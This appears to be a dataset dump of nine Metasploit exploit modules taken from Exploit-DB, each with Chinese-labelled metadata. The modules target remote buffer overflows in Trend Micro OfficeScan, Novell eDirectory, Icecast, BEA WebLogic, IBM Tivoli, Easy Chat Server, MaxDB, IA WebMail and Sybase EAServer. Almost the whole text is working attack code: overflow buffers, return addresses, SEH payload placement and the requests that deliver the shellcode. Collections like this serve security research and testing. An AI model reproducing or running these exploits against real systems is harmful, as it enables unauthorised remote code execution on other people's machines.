QLWD/code_shield huggingface dataset:
标题: Trend Micro OfficeScan - Remote Stack Buffer Overflow (Metasploit) EDB-ID: 16768 CVE: 2008-1365 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: trendmicro_officescan.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'metasm'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Trend Micro OfficeScan Remote Stack Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Trend Micro OfficeScan
    cgiChkMasterPwd.exe (running with SYSTEM privileges).
   },
   'Author'         => [ 'toto' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2008-1365' ],
     [ 'OSVDB', '42499' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'MinNops'  => 0,
     'MaxNops'  => 0,
     'Space'    => 498,
     'BadChars' => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),
     # clean up to prevent crash on exit
     'Prepend' => Metasm::Shellcode.assemble(Metasm::Ia32.new, "mov dword ptr fs:[0], 0").encode_string,
     'EncoderOptions' =>
      {
       'BufferRegister' => 'ECX',
      },
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     # return addresses need to be alphanumeric (here in loadhttp data section)
     [ 'Windows 2000 - Trend Micro OfficeScan 7.3.0.1293)', { 'Rets' => [0x63613035, 0x63613032] } ],
    ],
   'DisclosureDate' => 'Jun 28 2007',
   'DefaultTarget' => 0))

  register_options(
   [
    Opt::RPORT(8080),
   ], self.class)
 end

 def exploit
  geip_src = "
   push esi
   push esp
   pop eax
   xor esi, [eax]
   push esi
   pop eax
   xor eax, got_eip
   push eax
   pop ecx
   got_eip:
  "

  sc = Metasm::Shellcode.assemble(Metasm::Ia32.new, geip_src)

  sc.base_addr = target['Rets'][0]
  get_eip = sc.encode_string

  pat = Rex::Text.rand_text_alphanumeric(1016)

  pat[0, get_eip.length] = get_eip
  pat[14, payload.encoded.length] = payload.encoded
  pat[512, 4] = [target['Rets'][1]].pack('V')    # string pointer (to prevent a crash)
  pat[524, 4] = [target['Rets'][0]].pack('V')    # sets EIP to the address where the shellcode has been copied
  pat[540, 4] = [target['Rets'][0]-1].pack('V')  # shellcode will be copied at this address (+1)

  data = "TMlogonEncrypted=!CRYPT!" + pat
  len = sprintf("%u", data.length);

  print_status("Trying target address 0x%.8x..." % target['Rets'][0])

  res = send_request_cgi({
   'uri'          => '/officescan/console/cgi/cgiChkMasterPwd.exe',
   'method'       => 'POST',
   'content-type' => 'application/x-www-form-urlencoded',
   'data'         => data,
  }, 5)

  handler
 end

end URL: https://www.exploit-db.com/exploits/16768
标题: Novell eDirectory NDS Server - Host Header Overflow (Metasploit) EDB-ID: 16773 CVE: 2006-5478 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: edirectory_host.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Novell eDirectory NDS Server Host Header Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Novell eDirectory 8.8.1.
    The web interface does not validate the length of the
    HTTP Host header prior to using the value of that header in an
    HTTP redirect.
   },
   'Author'         => 'MC',
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     ['CVE', '2006-5478'],
     ['OSVDB', '29993'],
     ['BID', '20655'],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'seh',
    },
   'Payload'        =>
    {
     'Space'    => 600,
     'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
     'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Novell eDirectory 8.8.1', { 'Ret' => 0x10085bee } ], # ntls.dll
    ],
   'Privileged'     => true,
   'DisclosureDate' => 'Oct 21 2006',
   'DefaultTarget' => 0))

  register_options([Opt::RPORT(8028)], self.class)
 end

 def exploit
  connect

  sploit =  "GET /nds HTTP/1.1" + "\r\n"
  sploit << "Host: " + rand_text_alphanumeric(9, payload_badchars)
  sploit << "," + rand_text_alphanumeric(719, payload_badchars)
  seh    = generate_seh_payload(target.ret)
  sploit[705, seh.length] = seh
  sploit << "\r\n\r\n"

  print_status("Trying target #{target.name}...")

  sock.put(sploit)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16773
标题: Icecast 2.0.1 (Windows x86) - Header Overwrite (Metasploit) EDB-ID: 16763 CVE: 2004-1561 类型: REMOTE 平台: WINDOWS_X86 发布日期: 2010-04-30 漏洞利用脚本: ##
# $Id: icecast_header.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Icecast (<= 2.0.1) Header Overwrite (win32)',
   'Description'    => %q{
     This module exploits a buffer overflow in the header parsing
    of icecast, discovered by Luigi Auriemma.  Sending 32 HTTP
    headers will cause a write one past the end of a pointer
    array.  On win32 this happens to overwrite the saved
    instruction pointer, and on linux (depending on compiler,
    etc) this seems to generally overwrite nothing crucial (read
    not exploitable).

    !! This exploit uses ExitThread(), this will leave icecast
    thinking the thread is still in use, and the thread counter
    won't be decremented.  This means for each time your payload
    exits, the counter will be left incremented, and eventually
    the threadpool limit will be maxed.  So you can multihit,
    but only till you fill the threadpool.

   },
   'Author'         => [ 'spoonm', 'Luigi Auriemma <aluigi@autistici.org>' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9179 $',
   'References'     =>
    [
     [ 'CVE', '2004-1561'],
     [ 'OSVDB', '10406'],
     [ 'BID', '11271'],
     [ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2004-09/0366.html'],
    ],
   'Privileged'     => false,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 2000,
     'BadChars' => "\x0d\x0a\x00",
     'DisableNops' => true,
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Automatic', { }],
    ],
   'DisclosureDate' => 'Sep 28 2004',
   'DefaultTarget' => 0))

  register_options(
   [
    Opt::RPORT(8000)
   ], self.class)
 end

 # Interesting that ebp is pushed after the local variables, and the line array
 # is right before the saved eip, so overrunning it just by 1 element overwrites
 # eip, making an interesting exploit....
 # .text:00414C00                 sub     esp, 94h
 # .text:00414C06                 push    ebx
 # .text:00414C07                 push    ebp
 # .text:00414C08                 push    esi

 def exploit
  connect

  # bounce bounce bouncey bounce.. (our chunk gets free'd, so do a little dance)
  # jmp 12
  evul = "\xeb\x0c / HTTP/1.1 #{payload.encoded}\r\n"
  evul << "Accept: text/html\r\n" * 31;

  # jmp [esp+4]
  evul << "\xff\x64\x24\x04\r\n"
  evul << "\r\n"

  sock.put(evul)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16763
标题: BEA WebLogic - JSESSIONID Cookie Value Overflow (Metasploit) EDB-ID: 16762 CVE: 2008-5457 类型: REMOTE 平台: WINDOWS 发布日期: 2010-07-03 漏洞利用脚本: ##
# $Id: bea_weblogic_jsessionid.rb 9670 2010-07-03 03:19:07Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'BEA WebLogic JSESSIONID Cookie Value Overflow',
   'Description'    => %q{
     This module exploits a buffer overflow in BEA\'s WebLogic plugin. The vulnerable
    code is only accessible when clustering is configured. A request containing a
    long JSESSION cookie value can lead to arbirtary code execution.
   },
   'Author'         => 'pusscat',
   'Version'        => '$Revision: 9670 $',
   'References'     =>
    [
     [ 'CVE', '2008-5457' ],
     [ 'OSVDB', '51311' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'seh',
    },
   'Privileged'     => true,
   'Platform'       => 'win',
   'Payload'        =>
    {
     'Space'    => 800,
     'BadChars' => "\x00\x0d\x0a\x20\x3B\x3D\x2C",
     'StackAdjustment' => -3500,
    },
   'Targets'        =>
    [
     [  'Windows Apache 2.2 - WebLogic module version 1.0.1136334',
      {
       'Ret' => 0x1006c9b5,    # jmp esp
      }
     ],
     [  'Windows Apache 2.2 - WebLogic module version 1.0.1150354',
      {
       'Ret' => 0x1006c9be,    # jmp esp
      }
     ],
    ],
   'DefaultTarget'  => 1,
   'DisclosureDate' => 'Jan 13 2009'))

  register_options(
   [
    Opt::RPORT(80)
   ], self.class )
 end

 def exploit
  sploit = Rex::Text.rand_text_alphanumeric(10000, payload_badchars)
  sploit[8181, 4] = [target.ret].pack('V')
  sploit[8185, payload.encoded.length] = payload.encoded

  request =
   "POST /index.jsp HTTP/1.1\r\nHost: localhost\r\nCookie: TAGLINE=IAMMCLOVIN; JSESSIONID=" +
   sploit +
   "\r\n\r\n"

  connect
  sock.put(request);
  handler

  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16762
标题: IBM Tivoli Storage Manager Express CAD Service - Remote Buffer Overflow (Metasploit) (2) EDB-ID: 16764 CVE: 2007-4880 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: ibm_tsm_cad_header.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'IBM Tivoli Storage Manager Express CAD Service Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in the IBM Tivoli Storage Manager Express CAD Service (5.3.3).
    By sending an overly long GET request, it may be possible for an attacker to execute arbitrary code.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2007-4880' ],
     [ 'OSVDB', '38161' ],
     [ 'BID', '25743' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'seh',
    },
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 650,
     'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'IBM Tivoli Storage Manager Express 5.3.3', { 'Ret' => 0x0289fbe3 } ], # dbghelp.dll
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Sept 24 2007'))

  register_options( [ Opt::RPORT(1581) ], self.class )
 end

 def exploit
  connect

  sploit =  "GET /BACLIENT HTTP/1.1\r\n"
  sploit << "Host: 127.0.0.1 " + rand_text_alpha_upper(190)
  sploit << [target.ret].pack('V') + payload.encoded

  print_status("Trying target %s..." % target.name)

  sock.put(sploit + "\r\n\r\n")

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16764
标题: EFS Easy Chat Server - Authentication Request Handling Buffer Overflow (Metasploit) EDB-ID: 16772 CVE: 2004-2466 类型: REMOTE 平台: WINDOWS 发布日期: 2010-08-06 漏洞利用脚本: ##
# $Id: efs_easychatserver_username.rb 9966 2010-08-06 20:12:51Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 HttpFingerprint = { :pattern => [ /Easy Chat Server\/1\.0/ ] }

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'EFS Easy Chat Server Authentication Request Handling Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in EFS Software Easy Chat Server. By
    sending a overly long authentication request, an attacker may be able to execute
    arbitrary code.

    NOTE: The offset to SEH is influenced by the installation path of the program.
    The path, which defaults to "C:\Program Files\Easy Chat Server", is concatentated
    with "\users\" and the string passed as the username HTTP paramter.
   },
   'Author'         => [ 'LSO <lso[at]hushmail.com>' ],
   'License'        => BSD_LICENSE,
   'Version'        => '$Revision: 9966 $',
   'References'     =>
    [
     [ 'CVE', '2004-2466' ],
     [ 'OSVDB', '7416' ],
     [ 'BID', '25328' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 500,
     'BadChars' => "\x00\x0a\x0b\x0d\x20\x23\x25\x26\x2b\x2f\x3a\x3f\x5c",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Easy Chat Server 2.2', { 'Ret' => 0x1001b2b6 } ], # patrickw OK 20090302 w2k
    ],
   'DisclosureDate' => 'Aug 14 2007',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('PATH', [ true, "Installation path of Easy Chat Server",
     "C:\\Program Files\\Easy Chat Server" ])
   ], self.class )
 end

 def check
  info = http_fingerprint # check method
  # NOTE: Version 2.2 still reports "1.0" in the "Server" header
  if (info =~ /Easy Chat Server\/1\.0/)
   return Exploit::CheckCode::Appears
  end
  Exploit::CheckCode::Safe
 end

 def exploit
  # randomize some values.
  val = rand_text_alpha(rand(10) + 1)
  num = rand_text_numeric(1)

  path = datastore['PATH'] + "\\users\\"
  print_status("path: " + path)

  # exploit buffer.
  filler = rand_text_alpha(256 - path.length)
  seh    = generate_seh_payload(target.ret)
  juju = filler + seh

  uri = "/chat.ghp?username=#{juju}&password=#{val}&room=2&#sex=#{num}"

  print_status("Trying target #{target.name}...")

  send_request_raw({'uri' => uri}, 5)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16772
标题: MaxDB WebDBM - 'Database' Remote Overflow (Metasploit) EDB-ID: 16765 CVE: 2006-4305 类型: REMOTE 平台: WINDOWS 发布日期: 2010-09-20 漏洞利用脚本: ##
# $Id: maxdb_webdbm_database.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'MaxDB WebDBM Database Parameter Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in the MaxDB WebDBM
    service. By sending a specially-crafted HTTP request that contains
    an overly long database name. A remote attacker could overflow a buffer
    and execute arbitrary code on the system with privileges of the wahttp process.

    This module has been tested against MaxDB 7.6.00.16 and MaxDB 7.6.00.27.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 10394 $',
   'References'     =>
    [
     ['CVE', '2006-4305'],
     ['OSVDB', '28300'],
     ['BID', '19660'],
    ],
   'DefaultOptions' =>
   {
    'EXITFUNC' => 'thread',
   },

   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 400,
     'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x40",
     'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'MaxDB 7.6.00.16', { 'Ret' => 0x1005a08f } ], # wapi.dll
     [ 'MaxDB 7.6.00.27', { 'Ret' => 0x1005b08f } ], # wapi.dll
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Aug 29 2006'))

  register_options( [ Opt::RPORT(9999) ], self.class )
 end

 def exploit
  connect

  server = rand_text_english(5, payload_badchars)
  user   = rand_text_english(5, payload_badchars)
  pass   = rand_text_english(5, payload_badchars)
  port   = rand(65535).to_s

  sploit =  rand_text_alphanumeric(91, payload_badchars) + [target.ret].pack('V')
  sploit << payload.encoded

  req    =  "Event=DBM_LOGON&Action=LOGON&Server=#{server}&Database=#{sploit}"
  req    << "&User=#{user}&Password=#{pass}"

  res    =  "POST /webdbm HTTP/1.1\r\n" + "Host: #{rhost}:#{port}\r\n"
  res    << "Content-Length: #{req.length}" + "\r\n\r\n" + req + "\r\n"

  print_status("Trying target %s..." % target.name)

  sock.put(res)

  #give wahttp.exe a bit to recover...
  select(nil,nil,nil,2)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16765
标题: IA WebMail Server 3.x - Remote Buffer Overflow (Metasploit) EDB-ID: 16767 CVE: 2003-1192 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: ia_webmail.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'IA WebMail 3.x Buffer Overflow',
   'Description'    => %q{
     This exploits a stack buffer overflow in the IA WebMail server.
    This exploit has not been tested against a live system at
    this time.
   },
   'Author'         => [ 'hdm' ],
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2003-1192'],
     [ 'OSVDB', '2757'],
     [ 'BID', '8965'],
     [ 'URL', 'http://www.k-otik.net/exploits/11.19.iawebmail.pl.php'],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'       => 1024,
     'DisableNops' => true,
     'BadChars'    => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [
      'IA WebMail 3.x',
      {
       'Ret'    => 0x1002bd33,
       'Length' => 1036
      },
     ]
    ],
   'DisclosureDate' => 'Nov 3 2003',
   'DefaultTarget'  => 0))
 end

 def exploit
  print_status("Sending request...")

  send_request_raw({
   'uri' =>
    "/" + ("o" * target['Length']) +
    "META" +
    [target.ret].pack('V') +
    payload.encoded
  }, 2)

  handler
 end

end URL: https://www.exploit-db.com/exploits/16767
标题: Sybase EAServer 5.2 - Remote Stack Buffer Overflow (Metasploit) EDB-ID: 16766 CVE: 2005-2297 类型: REMOTE 平台: WINDOWS 发布日期: 2010-06-22 漏洞利用脚本: ##
# $Id: sybase_easerver.rb 9583 2010-06-22 19:11:05Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Sybase EAServer 5.2 Remote Stack Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in the Sybase EAServer Web
    Console. The offset to the SEH frame appears to change depending
    on what version of Java is in use by the remote server, making this
    exploit somewhat unreliable.
   },
   'Author'         => [ 'anonymous' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9583 $',
   'References'     =>
    [
     [ 'CVE', '2005-2297' ],
     [ 'OSVDB', '17996' ],
     [ 'BID', '14287'],
    ],
   'Privileged'     => false,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'     => 1000,
     'BadChars'  => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\\$\%",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     # Technically we could combine these into a single multi-return string...
     ['Windows All - Sybase EAServer 5.2 - jdk 1.3.1_11', {'Ret' => 0x6d4548ff, 'Offset' => 3820}],
     ['Windows All - Sybase EAServer 5.2 - jdk 1.3.?.?',  {'Ret' => 0x6d4548ff, 'Offset' => 3841}],
     ['Windows All - Sybase EAServer 5.2 - jdk 1.4.2_06', {'Ret' => 0x08041b25, 'Offset' => 3912}],
     ['Windows All - Sybase EAServer 5.2 - jdk 1.4.1_02', {'Ret' => 0x08041b25, 'Offset' => 3925}],
    ],
   'DisclosureDate' => 'Jul 25 2005'))

  register_options(
   [
    OptString.new('DIR', [ true, "Directory of Login.jsp script", '/WebConsole/' ]),
    Opt::RPORT(8080)
   ], self.class)
 end

 def exploit

  print_status( "Attempting to exploit...")

  # Building the evil buffer
  crash = rand_text_alphanumeric(5000, payload_badchars)
  crash[ target['Offset'] - 4, 2 ] = "\xeb\x06"
  crash[ target['Offset']    , 4 ] = [target.ret].pack('V')
  crash[ target['Offset'] + 4, payload.encoded.length ] = payload.encoded

  # Sending the request
  res = send_request_cgi({
   'uri'          => datastore['DIR'] + 'Login.jsp?' + crash,
   'method'       => 'GET',
   'headers'      => {
    'Accept' => '*/*',
    'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
   }
  }, 5)

  print_status("Overflow request sent, sleeping for four seconds")
  select(nil,nil,nil,4)
 end

end URL: https://www.exploit-db.com/exploits/16766